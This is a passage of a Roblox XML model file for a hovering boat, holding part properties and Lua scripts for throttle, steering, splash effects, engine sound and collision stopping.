									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.400000006</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.400000006</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX2864">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>-0.25</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>4.5</X>
											<Y>0</Y>
											<Z>4.5</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX2865">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>-245.5</X>
										<Y>7</Y>
										<Z>238</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Part</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>4</X>
										<Y>2</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX2866">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
						</Item>
						<Item class="Script" referent="RBX2867">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ParentScript</string>
								<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX2868">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">true</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="VehicleSeat" referent="RBX2869">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">26</int>
								<CoordinateFrame name="CFrame">
									<X>-269</X>
									<Y>6.5</Y>
									<Z>235</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<bool name="HeadsUpDisplay">true</bool>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<float name="MaxSpeed">0</float>
								<string name="Name">VehicleSeat</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<int name="Steer">0</int>
								<int name="Throttle">0</int>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Torque">1</float>
								<float name="Transparency">0</float>
								<float name="TurnSpeed">0</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="size">
									<X>2</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX2870">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>-0.300000012</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>0.400000006</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX2871">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">BoatScript</string>
								<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 41 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
							<Item class="Script" referent="RBX2872">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">true</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">WaterScript</string>
									<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2873">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">106</int>
								<CoordinateFrame name="CFrame">
									<X>-260</X>
									<Y>4</Y>
									<Z>235</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Base</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>12</X>
									<Y>4</Y>
									<Z>30</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX2874">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="BodyGyro" referent="RBX2875">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="D">500</float>
									<string name="Name">BG</string>
									<float name="P">3000</float>
									<CoordinateFrame name="cframe">
										<X>-24.9994659</X>
										<Y>4.98020554</Y>
										<Z>51.0000038</Z>
										<R00>2.38418579e-007</R00>
										<R01>-0.000661137048</R01>
										<R02>-0.999999702</R02>
										<R10>4.02139267e-006</R10>
										<R11>0.999999762</R11>
										<R12>-0.000661137048</R12>
										<R20>0.99999994</R20>
										<R21>-4.02127625e-006</R21>
										<R22>2.38418579e-007</R22>
									</CoordinateFrame>
									<Vector3 name="maxTorque">
										<X>0</X>
										<Y>400000</Y>
										<Z>0</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="BodyVelocity" referent="RBX2876">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">BV</string>
									<float name="P">1250</float>
									<Vector3 name="maxForce">
										<X>1000000</X>
										<Y>0</Y>
										<Z>1000000</Z>
									</Vector3>
									<Vector3 name="velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="BodyPosition" referent="RBX2877">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="D">1250</float>
									<string name="Name">Hover</string>
									<float name="P">10000</float>
									<Vector3 name="maxForce">
										<X>0</X>
										<Y>INF</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="position">
										<X>0</X>
										<Y>5</Y>
										<Z>0</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX2878">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">EngineScript</string>
									<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Sound" referent="RBX2879">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Looped">true</bool>
									<string name="Name">Engine</string>
									<float name="Pitch">2.5999999</float>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
									<float name="Volume">1</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2880">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">106</int>
								<CoordinateFrame name="CFrame">
									<X>-287</X>
									<Y>7.5</Y>
									<Z>235</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>-1</R11>
									<R12>0</R12>
									<R20>1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Tip</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>12</X>
									<Y>3</Y>
									<Z>4</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX2881">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><null></null></Content>
									<token name="MeshType">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Content name="TextureId"><null></null></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX2882">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">StopScript</string>
									<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2883">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">1001</int>
								<CoordinateFrame name="CFrame">
									<X>-269.999664</X>
									<Y>1.49989986</Y>
									<Z>235</Z>
									<R00>-0.925301015</R00>
									<R01>-0.000661701837</R01>
									<R02>-0.379232705</R02>
									<R10>-0.000609595445</R10>
									<R11>0.999999762</R11>
									<R12>-0.000257473439</R12>
									<R20>0.379232794</R20>
									<R21>-7.06185756e-006</R21>
									<R22>-0.925301254</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Stabilizer</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>4.83606081e-012</X>
									<Y>1.31824383e-008</Y>
									<Z>5.09991331e-019</Z>
								</Vector3>
								<float name="TopParamA">0</float>
								<float name="TopParamB">0</float>
								<token name="TopSurface">6</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.00281082955</X>
									<Y>-0.00603180937</Y>
									<Z>-0.027405588</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="CylinderMesh" referent="RBX2884">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="BodyGyro" referent="RBX2885">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="D">500</float>
									<string name="Name">Stabilizer</string>
									<float name="P">200</float>
									<CoordinateFrame name="cframe">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<Vector3 name="maxTorque">
										<X>8.99999949e+009</X>
										<Y>0</Y>
										<Z>8.99999949e+009</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2886">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">194</int>
								<CoordinateFrame name="CFrame">
									<X>-244.5</X>
									<Y>4</Y>
									<Z>235</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">RearTip</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>6</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="CylinderMesh" referent="RBX2887">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>0.600000024</X>
										<Y>1</Y>
										<Z>0.600000024</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX2888">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">StopScript</string>
									<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2889">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">2</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">1003</int>
								<CoordinateFrame name="CFrame">
									<X>-249.999664</X>
									<Y>1.49989796</Y>
									<Z>235</Z>
									<R00>-0.831105351</R00>
									<R01>-0.000661701604</R01>
									<R02>0.556114435</R02>
									<R10>-0.000553871098</R10>
